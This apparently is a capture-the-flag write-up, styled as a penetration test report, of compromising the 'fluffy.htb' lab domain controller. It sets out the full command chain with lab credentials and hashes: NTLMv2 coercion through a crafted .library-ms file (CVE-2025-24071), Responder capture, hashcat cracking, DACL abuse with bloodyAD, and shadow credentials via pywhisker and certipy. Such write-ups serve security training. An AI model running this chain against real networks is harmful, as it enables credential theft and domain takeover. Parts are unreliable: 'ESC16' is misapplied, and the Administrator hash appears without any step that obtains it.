

Offensive Security Assessment – Project Fluffy (Active Directory / PKINIT)

Parameter	Detail
Project ID	SEC-RPT-AD-FLUFFY-2025
Classification	TLP:CLEAR / Public
Client / Environment	FLUFFY.HTB Active Directory Forest
Asset(s) in Scope	dc01.fluffy.htb (10.129.4.114)
Assessment Type	Internal Penetration Test / Active Directory Resilience and DACL Evaluation
Status	Critical Compromise Validated / Full Domain Control

2. Executive Summary

The technical evaluation conducted on the dc01.fluffy.htb domain controller revealed architectural weaknesses in object permission segregation and outbound SMB signing management.

Starting from a standard operational account (j.fleischman), an unprotected network share was detected that was susceptible to NTLMv2 coercion attacks via the forced opening of .library-ms artifacts (CVE-2025-24071). Through this vector, the credentials of intermediate user p.agila were intercepted and cracked. This operator possessed excessive delegation and write rights over the Service Accounts Organizational Unit, allowing the injection of public key cryptographic credentials (msDS-KeyCredentialLink) into the winrm_svc and ca_svc accounts (Shadow Credentials / ESC16), extracting their NT hashes via PKINIT and seizing administrative control of the Certification Authority and the entire domain.

3. Findings and Impact Matrix

Vulnerability / Finding	Severity	CVSS v3.1	OWASP / CWE	MITRE ATT&CK Mapping
Shadow Credentials Abuse (PKINIT / ESC16)	Critical	9.0	CWE-287 / OWASP A04:2021	T1556 - Modify Authentication Process

Excessive DACL Permissions on Service Accounts	Critical	8.8	CWE-276 / OWASP A01:2021	T1222.001 - Windows DACL Modification
NetNTLMv2 Authentication Coercion (CVE-2025-24071)	High	8.8	CWE-668 / OWASP A02:2021	T1187 - Forced Authentication
Weak Password Policy on Operational Accounts	High	7.5	CWE-521 / OWASP A07:2021	T1110.001 - Password Guessing

4. Technical Details and Proof of Concept (PoC)

4.1. NTLMv2 Coercion via Windows Library File (CVE-2025-24071)

Read and write access to the //10.129.4.114/IT network share was verified using credentials j.fleischman:J0eITHeM4n1990!. Leveraging arbitrary Windows library processing, a payload1.library-ms artifact was crafted to force outbound SMB requests toward the assessment machine:

```
python3 exploit.py -i 10.10.15.198 -n payload1 -o . --keep
```

The Responder credential capture and poisoning suite was started:

```
sudo responder -I tun0 -vvF
```

The malicious file was transferred to the share:

```
smbclient //10.129.4.114/IT -U 'j.fleischman' --password 'J0eITHeM4n1990!'  
smb: \> put payload1.library-ms
```

Following system interaction with the share, the hash for the FLUFFY\p.agila account was intercepted:

```
[SMB] NTLMv2-SSP Client      : 10.129.4.114  
[SMB] NTLMv2-SSP Username   : FLUFFY\p.agila  
[SMB] NTLMv2-SSP Hash       :  
p.agila::FLUFFY:f4866d828e495560:421F120A7F07C0D5...
```

Offline cracking was performed using hashcat:

```
hashcat -m 5600 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# Hash recuperado: FLUFFY\p.agila : prometheusx-303
```

- **Technical Impact:** Capture of NetNTLMv2 cryptographic material and compromise of credentials for an operational account with delegated permissions.
- **Remediation & Hardening:** Block outbound SMB traffic (TCP port 445) toward untrusted networks and apply the cumulative security updates addressing CVE-2025-24071.

4.2. DACL Abuse and Complete Domain Compromise via Shadow Credentials (ESC16)

The p.agila account possessed write (WRITE) and child object creation (CREATE_CHILD) permissions on the CN=Service Accounts,CN=Users,DC=fluffy,DC=htb container. Using bloodyAD, the user was added to the privileged Service Accounts group:

```
bloodyAD -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb --dc-ip
10.129.4.114 add groupMember "Service Accounts" p.agila
```

The pywhisker tool was used to inject a public key into the msDS-KeyCredentialLink attribute of the winrm_svc account:

```
python3 pywhisker.py -t winrm_svc -a add -d fluffy.htb -u 'p.agila' -p
'prometheusx-303' --dc-ip 10.129.4.114
# Certificado generado: 0K7fpQZ0.pfx | Contraseña PFX: I6JzdsgPRDgqxmzLY0hZ
```

A Kerberos TGT ticket was requested via PKINIT and the service's NT hash was extracted:

```
python3 gettgtpkinit.py -cert-pfx 0K7fpQZ0.pfx -pfx-pass
"I6JzdsgPRDgqxmzLY0hZ" fluffy.htb/winrm_svc winrm_svc.ccache
export KRB5CCNAME=winrm_svc.ccache
python3 getnthash.py -key <AS-REP_KEY> fluffy.htb/winrm_svc
# Hash NT obtenido para winrm_svc: 33bd09dcd697600edf6b3a7af4875767
```

Subsequently, the Shadow Credentials attack was executed against the Certificate Authority account (ca_svc) using certipy-ad:

```
certipy-ad shadow auto -u 'p.agila@'fluffy.htb' -p 'prometheusx-303' -
account 'ca_svc' -dc-ip 10.129.4.114
# [*] Hash NT recuperado para ca_svc: ca0f4f9e9eb8a092addf53bb03fc98c8
```

With control over the CA, the final administrative compromise artifacts were obtained:

```
evil-winrm -i 10.129.4.114 -u 'Administrator' -H '<ADMIN_NT_HASH>'
*Evil-WinRM* PS C:\Users\j.fleischman\Desktop> type user.txt
2eb60ea1cc7b27afc8657afe436a9815
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
7a6202344ae2d7f37840e91b2f1ec499
```

- **Technical Impact:** Full escalation to Domain Admin privileges and operational control over the corporate Certificate Authority.
- **Remediation & Hardening:**
 1. Revoke delegated write permissions on service account containers from standard users.
 2. Enable strict auditing on modification events of the msDS-KeyCredentialLink attribute (Security Event 5136).